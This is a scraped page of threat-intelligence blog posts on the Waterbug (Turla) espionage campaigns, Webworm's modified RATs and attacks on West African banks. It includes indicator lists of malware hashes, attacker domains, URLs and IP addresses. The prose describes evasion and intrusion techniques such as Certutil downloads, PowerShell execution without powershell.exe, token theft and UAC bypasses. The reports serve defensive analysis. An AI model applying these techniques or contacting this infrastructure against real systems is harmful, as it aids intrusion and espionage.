9b06c7ce8c21e3439650d0d6478f7ba35a63a61efe97496c8258963fb88181a2 SocGholish JS file
05e8b6895b8e332f0a5cd5cd8924f24259d2a07bd06ac8024e13e4ff1960b002 SocGholish JS file
0840ac2be80386f26506916419dd46211ba4ae8db797e36b519945980d3d34f3 SocGholish JS file
0e684b25abfe57646e5176ff7d139019de00deb1054984ba6a692c12abb15ca7 SocGholish JS file
189341461b49056358fe3b5d20558dc132d83fca43560ac96dccce5994fdd0c6 SocGholish JS file
1c79ec0d27c6f554eb2385b3a22c8d14c8443706de9bc8db77384b5fdd01007d SocGholish JS file
1dc737669cdc997dc3f43cbc2e38d31914610a348a7466d5106490df5fcb29ba SocGholish JS file
241aab6bbfb5fe9294dd227b5834fc3837fc5c2a5cbccd3f66ca959052bd3b2e SocGholish JS file
26dfeae63654feb8fe8c70f9d6fc87d748e3a302cf126210b38338bd5ed68fcc SocGholish JS file
314e16b5713ca7e8604d07a3e0058f46ebc373896ae0c19abae6a624908c2f68 SocGholish JS file
3b467fc5992d420c5ffdb029a7ad167a5cfabba251746f96414542f4bc7a4434 SocGholish JS file
3ce5510452f63e74f339c80c98dd358cb266952f0184db0bebf9b2621a81b32e SocGholish JS file
4d0ba946c29c97ca509b86ea952c284de0c3ba20018570c16a2c39f82a36f19d SocGholish JS file
593fc97f711838ebfc63823ebb1dca6278dc9a5fb4a209a3bcb0c664dfccdd06 SocGholish JS file
67e554dda076f496727b9b08b7982f03e803533bdefb0b62c8562dc80bd3aa78 SocGholish JS file
7bdf7c6ed58ab59b872e41a1da6c548c5a150546841c2f9179b242e112a05390 SocGholish JS file
877fd840276394386ef9f1efe989cf5d95533c15229f2a5b4aa25fbefe553ba3 SocGholish JS file
8ed034f6b236f254e1f5f49e900398ff4c6b9a7914ce70fb0e29ef5a2b0799e1 SocGholish JS file
a63d0089053e761e518698ef6cfad7cf480dd23a936812a23bded97279516b91 SocGholish JS file
afe70907f37be1fa8285e5c2e9caa99d552c715244e731d17f681307b8515971 SocGholish JS file
b1a0dcd29e184b3d71cf201ee04db44316390d6d45b3f13719dfad26a204498c SocGholish JS file
b4f397035d5d1c02011df84bc8a3fd9e3beea02808bd3f40335a2b8be50b114a SocGholish JS file
b73583872a08cfd1d301024fc4a64e4cba9a88a4413089fb1ee04257a9723e91 SocGholish JS file
c5e591eb216820efc4887b2b2e2f956937e9aeb6422577f4710cd1d73709bf14 SocGholish JS file
d0759bb3342894677588eef9affe52779f1563cc8b5ee1c58ffe3f0360dab5aa SocGholish JS file
db42110a03f606bf9196297933c9e0f5fed4a293d98ad3b47dc981a7da480f06 SocGholish JS file
e44ba11de9be266b5a09e7159fa7783f1cf0b8a2714399402a215425e37a1cc9 SocGholish JS file
eb557f64f52a6090a65c5415e47f4e99b0cb8fb9938d31863954ce84883fe730 SocGholish JS file
f0520c25fd656c465dc55b5eada41dbd042f46be93fb3678d046ed9f6a90a149 SocGholish JS file
f534550d7f45febddd4f73634e13870889e16d9347cb55dd5438a8d1859e3b01 SocGholish JS file
f5d4366ffbf7ff84ee4ed8eb8ddda39fe78a41e9b0138baa9c0627c65c5934be SocGholish JS file
sodality.mandmsolicitorscom Domain
advokat-hodonin.info/gate.php Domain
penaz.info/gate.php Domain
lgrarcosbann.club/index.php Domain
cofeedback.com Domain
consultane.com Domain
feedbackgive.com Domain
msoftwares.info Domain
mwebsoft.com Domain
net-giftshop.info Domain
rostraffic.com Domain
traffichi.com Domain
typiconsult.com Domain
websitesbuilder.info Domain
backup.awarfaregaming.com Domain
click.clickanalytics208.com Domain
connect.clevelandskin.com Domain
connect.clevelandskin.net Domain
connect.clevelandskin.org Domain
cushion.aiimss.com Domain
link.easycounter210.com Domain
rocket2.new10k.com Domain
track.positiverefreshment.org Domain
185.189.151.38 IP Address
185.162.235.167 IP Address
185.82.127.38 IP Address
195.123.227.225 IP Address
38.135.104.189 IP Address
88.119.175.104 IP Address
91.219.237.36 IP Address
91.236.116.63 IP Address
We would like to thank Namecheap for their assistance in suspending some domains associated with this attack.
Webinar - How Symantec Detected and Prevented the WastedLocker Ransomware Attack
|
Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments
Waterbug may have hijacked a separate espionage group’s infrastructure during one attack against a Middle Eastern target.
The Waterbug espionage group (aka Turla) has continued to attack governments and international organizations over the past eighteen months in a series of campaigns that have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of another espionage group’s infrastructure.
Three waves of attacks
Recent Waterbug activity can be divided into three distinct campaigns, characterized by differing toolsets. One campaign involved a new and previously unseen backdoor called Neptun (Backdoor.Whisperer). Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers. This passive listening capability makes the malware more difficult to detect. Neptun is also able to download additional tools, upload stolen files, and execute shell commands. One attack during this campaign involved the use of infrastructure belonging to another espionage group known as Crambus (aka OilRig, APT34).
A second campaign used Meterpreter, a publicly available backdoor along with two custom loaders, a custom backdoor called photobased.dll, and a custom Remote Procedure Call (RPC) backdoor. Waterbug has been using Meterpreter since at least early 2018 and, in this campaign, used a modified version of Meterpreter, which was encoded and given a .wav extension in order to disguise its true purpose.
The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This tool is designed to bypass detection aimed at identifying malicious PowerShell usage. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry. This was probably done to avoid them being written to the file system.
Figure 1. Waterbug group rolls out fresh toolset in three new campaigns
Retooled
Waterbug’s most recent campaigns have involved a swath of new tools including custom malware, modified versions of publicly available hacking tools, and legitimate administration tools. The group has also followed the current shift towards “living off the land,” making use of PowerShell scripts and PsExec, a Microsoft Sysinternals tool used for executing processes on other systems.
Aside from new tools already mentioned above, Waterbug has also deployed:
A new custom dropper typically used to install Neptun as a service.
A custom hacking tool that combines four leaked Equation Group tools (EternalBlue, EternalRomance, DoublePulsar, SMBTouch) into a single executable.
A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file. It then uses WebDAV to upload to a Box cloud drive.
Visual Basic scripts that perform system reconnaissance after initial infection and then send information to Waterbug command and control (C&C) servers.
PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&Cs.
Publicly available tools such as IntelliAdmin to execute RPC commands, SScan and NBTScan for network reconnaissance, PsExec for execution and lateral movement, and Mimikatz (Hacktool.Mimikatz) for credential theft, and Certutil.exe to download and decode remote files. These tools were identified being downloaded via Waterbug tools or infrastructure.
Victims
These three recent Waterbug campaigns have seen the group compromise governments and international organizations across the globe in addition to targets in the IT and education sectors. Since early 2018, Waterbug has attacked 13 organizations across 10 different countries:
The Ministry of Foreign Affairs of a Latin American country
The Ministry of Foreign Affairs of a Middle Eastern country
The Ministry of Foreign Affairs of a European country
The Ministry of the Interior of a South Asian country
Two unidentified government organizations in a Middle Eastern country
One unidentified government organization in a Southeast Asian country
A government office of a South Asian country based in another country
An information and communications technology organization in a Middle Eastern country
Two information and communications technology organizations in two European countries
An information and communications technology organization in a South Asian country
A multinational organization in a Middle Eastern country
An educational institution in a South Asian country
Hijacked infrastructure
One of the most interesting things to occur during one of Waterbug’s recent campaigns was that during an attack against one target in the Middle East, Waterbug appeared to hijack infrastructure from the Crambus espionage group and used it to deliver malware on to the victim’s network. Press reports have linked Crambus and Waterbug to different nation states. While it is possible that the two groups may have been collaborating, Symantec has found no further evidence to support this. In all likelihood, Waterbug’s use of Crambus infrastructure appears to have been a hostile takeover. Curiously though, Waterbug also compromised other computers on the victim’s network using its own infrastructure.
During this attack, a customized variant of the publicly available hacking tool Mimikatz was downloaded to a computer on the victim’s network from known Crambus-controlled network infrastructure. Mimikatz was downloaded via the Powruner tool and the Poison Frog control panel. Both the infrastructure and the Powruner tool have been publicly tied to Crambus by a number of vendors. Both were also mentioned in recent leaks of documents tied to Crambus.
Symantec believes that the variant of Mimikatz used in this attack is unique to Waterbug. It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature. Waterbug has frequently made extensive modifications to publicly available tools, something Crambus is not well known for.
The variant of Mimikatz used was packed with a custom packing routine that has not been seen before in any non-Waterbug malware. Waterbug used this same packer on a second custom variant of Mimikatz and on a dropper for the group’s custom Neuron service (Trojan.Cadanif). Its use in the dropper leads us to conclude that this custom packer is exclusively used by Waterbug. Additionally, this version of Mimikatz was compiled using Visual Studio and the publicly available bzip2 library which, although not unique, has been used by other Waterbug tools previously.
Aside from the attack involving Crambus infrastructure, this sample of Mimikatz has only been seen used in one other attack, against an education target in the UK in 2017. On that occasion, Mimikatz was dropped by a known Waterbug tool.
In the case of the attack against the Middle Eastern target, Crambus was the first group to compromise the victim’s network, with the earliest evidence of activity dating to November 2017. The first observed evidence of Waterbug activity came on January 11, 2018, when a Waterbug-linked tool (a task scheduler named msfgi.exe) was dropped on to a computer on the victim’s network. The next day, January 12, the aforementioned variant of Mimikatz was downloaded to the same computer from a known Crambus C&C server. Two further computers on the victim’s network were compromised with Waterbug tools on January 12, but there is no evidence that Crambus infrastructure was used in these attacks. While one of these computers had been previously compromised by Crambus, the other showed no signs of Crambus intrusion.
Figure 2. Waterbug likely compromised the C&C network infrastructure of Crambus
Waterbug’s intrusions on the victim’s network continued for much of 2018. On September 5, 2018, a similar Mimikatz variant was dropped by Waterbug’s Neptun backdoor onto another computer on the network. At around the same time, other Waterbug malware was seen on the victim’s network which communicated with known Waterbug C&C servers.
Finally, the issue was clouded further by the appearance of a legitimate systems administration tool called IntelliAdmin on the victim’s network. This tool is known to have been used by Crambus and was mentioned in the leak of Crambus documents. However, in this case, IntelliAdmin was dropped by custom Waterbug backdoors, including the newly identified Neptun backdoor, on computers that had not been affected by the Crambus compromise.
The incident leaves many unanswered questions, chiefly relating to Waterbug’s motive for using Crambus infrastructure. There are several possibilities:
False flag: Waterbug does have a track record of using false flag tactics to throw investigators off the scent. However, if this was a genuine attempt at a false flag operation, it begs the question of why it also used its own infrastructure to communicate with other machines on the victim’s network, in addition to using tools that could be traced back to Waterbug.
Means of intrusion: It is possible that Waterbug wanted to compromise the target organization, found out that Crambus had already compromised its network, and hijacked Crambus’s own infrastructure as a means of gaining access. Symantec did not observe the initial access point and the close timeframe between Waterbug observed activity on the victim’s network and its observed use of Crambus infrastructure suggests that Waterbug may have used the Crambus infrastructure as an initial access point.
Mimikatz variant belonged to Crambus: There is a possibility that the version of Mimikatz downloaded by the Crambus infrastructure was actually developed by Crambus. However, the compilation technique and the fact that the only other occasion it was used was linked to Waterbug works against this hypothesis. The fact that Waterbug also appeared on the victim’s network around the same time this version of Mimikatz was downloaded would make it an unlikely coincidence if the tool did belong to Crambus.
Opportunistic sowing of confusion: If a false flag operation wasn’t planned from the start, it is possible that Waterbug discovered the Crambus intrusion while preparing its attack and opportunistically used it in the hopes of sowing some confusion in the mind of the victim or investigators. Based on recent leaks of Crambus internal documents, its Poison Frog control panel is known to be vulnerable to compromise, meaning it may have been a relatively trivial diversion on the part of Waterbug to hijack Crambus’s infrastructure. A compromise conducted by one threat actor group through another's infrastructure, or fourth party collections, has been previously discussed in a 2017 white paper by Kaspersky researchers.
Further campaigns
Waterbug has also mounted two other campaigns over the past year, each of which was characterized by separate tools. These campaigns were wide ranging, hitting targets in Europe, Latin America, and South Asia.
In the first campaign, Waterbug used two versions of a custom loader named javavs.exe (64-bit) and javaws.exe (32-bit), to load a custom backdoor named PhotoBased.dll and run the export function GetUpdate on the victim’s computers. The backdoor will modify the registry for the Windows Media Player to store its C&C configuration. It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool. The backdoor has the capability to download and upload files, execute shell commands, and update its configuration.
The javaws.exe loader is also used to run another loader named tasklistw.exe. This is used by the attackers to decode and execute a series of malicious executables that download Meterpreter to the infected computer.
The attackers also install another backdoor that runs a command shell via the named pipe cmd_pipe. Both backdoors allow the attackers to execute various commands that provide full control of the victim’s system. Waterbug also used an older version of PowerShell, likely to avoid logging.
In the second campaign, Waterbug used an entirely different backdoor, named securlsa.chk. This backdoor can receive commands through the RPC protocol. Its capabilities include:
Executing commands through cmd.exe with the output redirected into a temporary file
Reading the command output contained in the temporary file
Reading or writing arbitrary files
This RPC backdoor also included source code derived from the tool PowerShellRunner, which allows a user to run PowerShell scripts without executing powershell.exe, therefore the user may bypass detection aimed at identifying malicious PowerShell usage.
While both campaigns involved distinct tools during the initial compromise phase, there were also many similarities. Both were characterized by the use of a combination of custom malware and publicly available tools. Also, during both campaigns Waterbug executed multiple payloads nearly simultaneously, most likely to ensure overlapping access to the network if defenders found and removed one of the backdoors.
Waterbug took several steps to avoid detection. It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions. The group also used GitHub as a repository for tools that it downloaded post-compromise. This too was likely motivated by a desire to evade detection, since GitHub is a widely trusted website. It used Certutil.exe to download files from the repository, which is an application whitelist bypass technique for remote downloads.
In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password-protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account.
Unanswered questions
This is the first time Symantec has observed one targeted attack group seemingly hijack and use the infrastructure of another group. However, it is still difficult to ascertain the motive behind the attack. Whether Waterbug simply seized the opportunity to create confusion about the attack or whether there was more strategic thinking involved remains unknown.
Waterbug’s ever-changing toolset demonstrates a high degree of adaptability by a group determined to avoid detection by staying one step ahead of its targets. Frequent retooling and a penchant for flirting with false flag tactics have made this group one of the most challenging adversaries on the targeted attack landscape.
Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Backdoor.Whisperer
Hacktool.Mimikatz
Threat Intelligence
The DeepSight Managed Adversary and Threat Intelligence (MATI) team co-authored this blog and its customers have received intelligence with additional details about these campaigns, the characteristics of the Waterbug (aka Turla) cyber espionage group, and methods of detecting and thwarting activities of this adversary.
Indicators of Compromise
Campaign 1
24fe571f3066045497b1d8316040734c81c71dcb1747f1d7026cda810085fad7
66893ab83a7d4e298720da28cd2ea4a860371ae938cdd86035ce920b933c9d85
7942eee31d8cb1c8853ce679f686ee104d359023645c7cb808361df791337145
7bd3ff9ba43020688acaa05ce4e0a8f92f53d9d9264053255a5937cbd7a5465e
a1d9f5b9ca7dda631f30bd1220026fc8c3a554d61db09b5030b8eb9d33dc9356
c63f425d96365d906604b1529611eefe5524432545a7977ebe2ac8c79f90ad7e
cb7ecd6805b12fdb442faa8f61f6a2ee69b8731326a646ba1e8886f0a5dd61e0
db9902cb42f6dc9f1c02bd3413ab3969d345eb6b0660bd8356a0c328f1ec0c07
e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea
e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea
5da013a64fd60913b5cb94e85fc64624d0339e09d7dce25ab9be082f0ca5e38b
c8a864039f4d271f4ab6f440cbc14dffd8c459aa3af86f79f0619a13f67c309f
588fd8eba6e62c28a584781deefe512659f6665daeb8c85100e0bf7a472ad825
cda5b20712e59a6ba486e55a6ab428b9c45eb8d419e25f555ae4a7b537fc2f26
694d9c8a1f0563c08e0d3ab7d402ffbf5a0fa11340c50fba84d709384ccef021
caaed70daa7832952ae93f41131e74dcb6724bb8669d18f28fbed4aa983fdc0c
493eee2c55810201557ef0e5d134ca0d9569f25ae732df139bb0cb3d1478257f
0e9c3779fece579bed30cb0b7093a962d5de84faa2d72e4230218d4a75ee82bc
5bbeed53aaa40605aabbfde31cbfafd5b92b52720e05fa6469ce1502169177a0
d153e4b8a11e2537ecf99aec020da5fad1e34bbe79f617a3ee5bc0b07c3abdca
vision2030.tk
vision2030.cf
dubaiexpo2020.cf
microsoft.updatemeltdownkb7234.com
codewizard.ml
updatenodes.site
https://vision2030.tk/static/googleupdate.txt
https://dubaiexpo2020.cf/counter.aspx
https://microsoft.updatemeltdownkb7234.com/windows/update.aspx
https://codewizard.ml/productivity/update.aspx
Campaign 2
10d1bfd5e8e1c8fa75756a9f1787c3179da9ab338a476f1991d9e300c6186575
3fbec774da2a145974a917aeb64fc389345feb3e581b46d018077e28333601a5
52169d7cdd01098efdde4da3fb22991aaa53ab9e02db5d80114a639bf65bce39
56098ed50e25f28d466be78a36c643d19fedc563a2250ae86a6d936318b7f57e
595a54f0bbf297041ce259461ae8a12f37fb29e5180705eafb3668b4a491cecc
5dc26566b4dec09865ea89edd4f9765ef93e789870ed4c25fcc4ebad19780b40
6b60b27385738cac65584cf7d486913ff997c66d97a94e1dde158c9cd03a4206
846a95a26aac843d1fcec51b2b730e9e8f40032ee4f769035966169d68d144c4
c4a6db706c59a5a0a29368f80731904cc98a26e081088e5793764a381708b1ea
d0b99353cb6500bb18f6e83fe9eed9ce16e5a8d5b940181e5eafd8d82f328a59
ee7f92a158940a0b5d9b902eb0ed9a655c7e6ba312473b1e2c9ef80d58baa6dd
94.249.192.182
Campaign 3
454e6c3d8c1c982cd301b4dd82ec3431935c28adea78ed8160d731ab0bed6cb7
4ecb587ee9b872747408c00de5619cb6b973e7d39ce4937655c5d1a07b7500fc
528e2567e24809d2d0ba96fd70e41d71c18152f0f0c4f29ced129ed7701fa42a
6928e212874686d29c85eac72553ccdf89aacb475c61fa3c086c796df3ab5940
b22bbda8f504f8cced886f566f954cc245f3e7c205e57139610bbbff0412611c
d52b08dd27f2649bad764152dfc2a7dea0c8894ce7c20b51482f4a4cf3e1e792
e7e41b3d7c0ee2d0939bb56d797eaf2dec44516ba54b8bf1477414b03d4d6e48
ec3da59d4a35941f6951639d81d1c5ff73057d9cf779428d80474e9656db427c
fbefe503d78104e04625a511528584327ac129c3436e4df09f3d167e438a1862
markham-travel.com
zebra.wikaba.com
185.141.62.32
212.21.52.110
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
5 MIN READ
Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms
Group remains highly active with more than 130 victims in 30 organizations hit since September 2018.
|
Webworm: Espionage Attackers Testing and Using Older Modified RATs
The attackers are working on a number of malware threats, some of which have been used in attacks while others are in pre-deployment or testing stages.
Symantec, by Broadcom Software, has gained insight into the current activities of a group we call Webworm. The group has developed customized versions of three older remote access Trojans (RATs), including Trochilus, Gh0st RAT, and 9002 RAT. At least one of the indicators of compromise (IOCs) observed by Symantec was used in an attack against an IT service provider operating in multiple Asian countries, while others appear to be in pre-deployment or testing stages.
Webworm
Symantec’s Webworm has links to a group dubbed Space Pirates, which was previously documented in a May 2022 report from Positive Technologies. It is likely that the two groups are one and the same.
Active since at least 2017, Webworm has been known to target government agencies and enterprises involved in IT services, aerospace, and electric power industries located in Russia, Georgia, Mongolia, and a number of other Asian countries.
Previous research on the group’s activity found that it uses custom loaders hidden behind decoy documents and modified backdoors that have been around for quite some time. This corresponds with recent Webworm activity observed by Symantec.
Malware used by Webworm includes versions of the following threats:
Trochilus RAT
First spotted back in 2015, Trochilus is a RAT implemented in C++ and its source code is available for download on GitHub. The malware has been used in targeted threat operations by multiple groups and has features that can help it evade sandbox analysis and be useful in cyber-espionage operations. The RAT’s features include, but are not limited to, the ability to remotely uninstall a file manager, and the ability to download, upload, and execute files.
Trochilus has been previously linked to malware operations from threat actors also using malware such as PlugX and a variant of the 9002 RAT.
9002 RAT
The 9002 RAT appears to have been in use since at least 2009 and has historically been used by state-sponsored actors. The malware provides attackers with extensive data exfiltration capabilities. Some variants of 9002 RAT inject into memory and do not write to the disk, something that also applies to the sample analyzed by Symantec.
The malware has been used in multiple campaigns by a range of actors, including in a hacking operation targeting several large corporations located in South Korea. The RAT was used to deliver additional malware, including the PlugX RAT, onto compromised machines. It has also been involved in attacks making use of zero-day exploits.
Gh0st RAT
While the source code for Gh0st RAT was released online in 2008, the malware has continued to be used by advanced persistent threat (APT) groups.
Gh0st RAT first made headlines back in 2009, when a cyber-espionage group called GhostNet used it to target diplomatic, political, economic, and military targets around the world.
Observed Webworm activity
Symantec observed three malware droppers developed by Webworm:
6201c604ac7b6093dc8f6f12a92f40161508af1ddffa171946b876442a66927e (Trochilus dropper)
b9a0602661013d973bc978d64b7abb6bed20cf0498d0def3acb164f0d303b646 (Trochilus Dropper)
c71e0979336615e67006e20b24baafb19d600db94f93e3bf64181478dfc056a8 (Trochilus Dropper)
Analysis of one of the droppers revealed that it drops the following files:
[TEMP]\Logger.exe (28d78e52420906794e4059a603fa9f22d5d6e4479d91e9046a97318c83998679)
[TEMP]\sc.cfg (a618b3041935ec3ece269effba5569b610da212b1aa3968e5645f3e37d478536)
[TEMP]\logexts.dat (a6b9975bfe02432e80c7963147c4011a4f7cdb9baaee4ae8d27aaff7dff79c2b)
[TEMP]\logexts.dll (a73a4c0aa557241a09e137387537e04ce582c989caa10a6644d4391f00a836ef)
[TEMP]\logger.dat (10456bc3b5cfd2f1b1ab9c3833022ef52f5e9733d002ab237bdebad09b125024)
[TEMP]\[RANDOM_DIGITS].doc (d295712185de2e5f8811b0ce7384a04915abdf970ef0f087c294bb00e340afad)
The legitimate executable Logger.exe is used to call the “LoadLibraryA” API in order to load the malicious "[TEMP]\logexts.dll" file.
The logexts.dll file is a loader. Once run, it checks the process command-line parameters. If the command-line is the single parameter "isdf", it attempts to steal a token from the "WINLOGON.EXE" process. It then starts the following process by calling the CreateProcessAsUserW API:
C:\ProgramData\Logger\Logger.exe mdkv
Otherwise it constructs the pathname of the second stage based on its own running executable, where it replaces the last three characters with hardcoded "dat" (resulting with "Logger.dat"). Then it reads and executes the second stage as shellcode.
The second stage ("Logger.dat") constructs the pathname of the third stage also based on its own running executable, where it combines the directory part with hardcoded "logexts.dat". Finally, it reads and executes the third stage.
The logexts.dat file is obfuscated and includes several User Account Control (UAC) bypasses.
It attempts to copy the previously dropped files to the following new locations:
[Temp]\Logger.exe to C:\ProgramData\Logger\Logger.exe
[Temp]\Logger.dat to C:\ProgramData\Logger\logger.dat
[Temp]\logexts.dll to C:\ProgramData\Logger\logexts.dll
[Temp]\logexts.dat to C:\ProgramData\Logger\logexts.dat
[Temp]\sc.cfg to C:\ProgramData\Logger\sc.cfg
Then the file unpacks and executes in memory its backdoor payload, a variant of the Trochilus RAT (e69177e58b65dd21e0bbe4f6caf66604f120e0c835f3ee0d16a45858f5fe9d90).
The Trochilus modifications include functionality to load its configuration from a file by checking for any of the following locations (in order of preference):
C:\ProgramData\Logger\sc.cfg
C:\ProgramData\resmon.resmoncfg
C:\ProgramData\appsoft\resmon.resmoncfg
The content of the configuration file is decompressed using the Lempel–Ziv–Welch (LZW) algorithm.
Interestingly, one of the locations described above (“C:\ProgramData\resmon.resmoncfg”) is mentioned in third-party research detailing previous Space Pirates (Webworm) activity.
The malware then injects svchost.exe with the ability to:
Execute commands
Download potentially malicious files
Further investigation by Symantec found that droppers that share a similar structure to the one used to deploy the version of Trochilus RAT modified by Webworm were also used to deploy two additional modified versions of Gh0st RAT and 9002 RAT. Some code modifications made to the variant of Trochilus RAT were also present in the two additional retooled RATs. The additional RATs included:
Gh0st RAT:
1e725f1fe67d1a596c9677df69ef5b1b2c29903e84d7b08284f0a767aedcc097 (Dropper)
b0a58c6c859833eb6fb1c7d8cb0c5875ab42be727996bcc20b17dd8ad0058ffa (Shellcode loader)
1CC32C7F2C90A558BA5FF6BA191E655B20D7C65C10AF0D5D06820A28C2947EFD (Shellcode loader)
9002 RAT:
6e46054aa9fd5992a7398e0feee894d5887e70373ca5987fc56cd4c0d28f26a1 (Dropper)
37fa5108db1ae73475911a5558fba423ef6eee2cf3132e35d3918b9073aeecc1 (Packed backdoor)
Changes made by Webworm to this version of 9002 RAT are apparently intended to evade detection. For example, the details of the RAT’s communication protocol, such as encryption, have also been modified by the threat actors.
Gh0st RAT (BH_A006) was documented in third-party research detailing previous Webworm (Space Pirates) activity. In that research, the version of Gh0st RAT included features such as layers of obfuscation to bypass security protections and hinder analysis, network service creation, UAC bypassing, and shellcode unpacking and launching in the memory. Some of these features were also present in the version of the RAT being prepared by Webworm.
Conclusion
Webworm’s use of customized versions of older, and in some cases open-source, malware, as well as code overlaps with the group known as Space Pirates, suggest that they may be the same threat group. However, the common use of these types of tools and the exchange of tools between groups in this region can obscure the traces of distinct threat groups, which is likely one of the reasons why this approach is adopted, another being cost, as developing sophisticated malware can be expensive in terms of both money and time.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
IOCs
c71e0979336615e67006e20b24baafb19d600db94f93e3bf64181478dfc056a8 - Trochilus dropper
28d78e52420906794e4059a603fa9f22d5d6e4479d91e9046a97318c83998679 – Logger.exe
a6b9975bfe02432e80c7963147c4011a4f7cdb9baaee4ae8d27aaff7dff79c2b – logexts.dat
a73a4c0aa557241a09e137387537e04ce582c989caa10a6644d4391f00a836ef – logexts.dll
10456bc3b5cfd2f1b1ab9c3833022ef52f5e9733d002ab237bdebad09b125024 – logger.dat
d295712185de2e5f8811b0ce7384a04915abdf970ef0f087c294bb00e340afad – [RANDOM_DIGITS].doc
e69177e58b65dd21e0bbe4f6caf66604f120e0c835f3ee0d16a45858f5fe9d90 – Trochilus RAT
a618b3041935ec3ece269effba5569b610da212b1aa3968e5645f3e37d478536 - Backdoor configuration
6201c604ac7b6093dc8f6f12a92f40161508af1ddffa171946b876442a66927e – Trochilus dropper
3629d2ce400ce834b1d4b7764a662757a9dc95c1ef56411a7bf38fb5470efa84 - Backdoor configuration
b9a0602661013d973bc978d64b7abb6bed20cf0498d0def3acb164f0d303b646 - Trochilus dropper
824100a64c64f711b481a6f0e25812332cc70a13c98357dd26fb556683f8a7c7 – Packed backdoor
|
West African Financial Institutions Hit by Wave of Attacks
Attackers using commodity malware and living off the land tools against financial targets in Ivory Coast, Cameroon, Congo (DR), Ghana, and Equatorial Guinea.
Banks and other financial institutions in a number of West African countries have been targeted by cyber criminals employing a range of commodity malware and living off the land tools.
The attacks have been underway since at least mid-2017. To date, organizations in Cameroon, Congo (DR), Ghana, Equatorial Guinea, and Ivory Coast have been affected.
Who is behind these attacks remains unknown. They could be the work of a single group or, more likely, several different groups employing similar tactics.
Four types of attacks
Symantec has observed four distinct attack campaigns directed against financial targets in Africa. The first has been underway since at least mid-2017 and has targeted organizations in Ivory Coast and Equatorial Guinea. The attackers infected victims with commodity malware known as NanoCore (Trojan.Nancrat) and were also observed using PsExec, a Microsoft Sysinternals tool used for executing processes on other systems, on infected computers. Lure documents used by the attackers referred to a West African bank which has operations in several countries in the region. Some tools used in these attacks are similar to tools mentioned in a 2017 SWIFT alert, indicating the attackers may have been attempting to perform financial fraud.
The second type of attack began in late 2017 and targeted organizations in Ivory Coast, Ghana, Congo (DR), and Cameroon. The attackers used malicious PowerShell scripts to infect their targets and also used the credential-stealing tool Mimikatz (Hacktool.Mimikatz). They also made use of UltraVNC, an open-source remote administration tool for Microsoft Windows. The attackers then infected computers with the commodity malware known as Cobalt Strike (Trojan.Agentemis) which is capable of opening a backdoor on the computer, communicating with a command and control (C&C) server, and downloading additional payloads. Communication with the C&C server was handled by dynamic DNS infrastructure, which helped shield the location of the attackers.
The third type of attack was directed against an organization in Ivory Coast. This organization had also been targeted by the second campaign. This second attack also involved the use of commodity malware, in this case the Remote Manipulator System RAT (Backdoor.Gussdoor), alongside Mimikatz and two custom Remote Desktop Protocol (RDP) tools. Since Mimikatz can be used to harvest credentials and RDP allows for remote connections to computers, it’s likely the attackers wanted additional remote access capability and were interested in moving laterally across the victim’s network.
The fourth type of attack began in December 2018 and was directed against organizations in Ivory Coast. The attackers used off-the-shelf malware known as Imminent Monitor RAT (Infostealer.Hawket).
How the attacks were uncovered
All four attack types were first discovered through alerts generated by Symantec’s Targeted Attack Analytics (TAA). TAA leverages advanced artificial intelligence to analyze Symantec’s data lake of telemetry in order to spot patterns associated with targeted attacks.
A growing number of attackers in recent years are adopting “living off the land” tactics—namely the use of operating system features or network administration tools to compromise victims' networks. By exploiting these tools, attackers hope to hide in plain sight, since most activity involving these tools is legitimate. However, in each case, a TAA alert was triggered by the attackers maliciously using a legitimate tool. In short, the attackers' use of living off the land tactics led to the discovery of their attacks.
Common threads
Whether the attacks were the work of one or more groups remains unknown. However, they share some commonalities in terms of the tools and tactics employed. Any malware used was off-the-shelf, commodity malware: Cobalt Strike, Imminent Monitor RAT, NanoCore RAT, Remote Manipulator System RAT, and Mimikatz.
Additionally, most of the attacks leveraged living off the land tactics, making use of tools such as PowerShell, PsExec, UltraVNC, and RDP.
Commodity malware is readily available on the cyber underground. While it may not be as powerful or stealthy as custom-developed tools, it does add a certain level of anonymity to attacks, making it harder to link attacks together and attribute them to any one group of attackers.
Globalization of cyber crime
Until now, Symantec has seen relatively little evidence of these kinds of attacks against the financial sector in West Africa. However, it now appears that there is at least one (and quite possibly more) groups actively targeting banks in the region.
Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Trojan.Nancrat
Trojan.Agentemis
Infostealer.Hawket
Backdoor.Gussdoor
Hacktool.Mimikatz
Indicators of Compromise
The following list of indicators of compromise is related to African banking attacks. It is likely that these indicators are used by multiple different actors.
The first attack type
Files
MD5 SHA256 Description
24015acd155ec7305805dbdff1dd074d 80a2576c3148ba5123aa016bf01e72bba53995b172dd263ab2071fad1c9d548d Trojan.Nancrat (Nanocore)
4d49e578d359185324acda70a2880dd5 21c87bcccf7e5c164da7c94772ef71a065a862f9ce32341a38eb39ffb7804305 Trojan.Nancrat (Nanocore)
64b88486170e5cb890a7486965a90e84 dab1953b9135a9bf0c5ffe86b87ab9a9c6fa34482004aa8bb2bf7ea8d72c8c62 Trojan.Nancrat (Nanocore)
a8372b48280c6ee5b225f8ccd3cf4814 53f8afe36e562c92140f4f8fa1f8ffce9e1f48b1eaff96bd6ab4b03646b97dc3 Trojan.Nancrat (Nanocore)
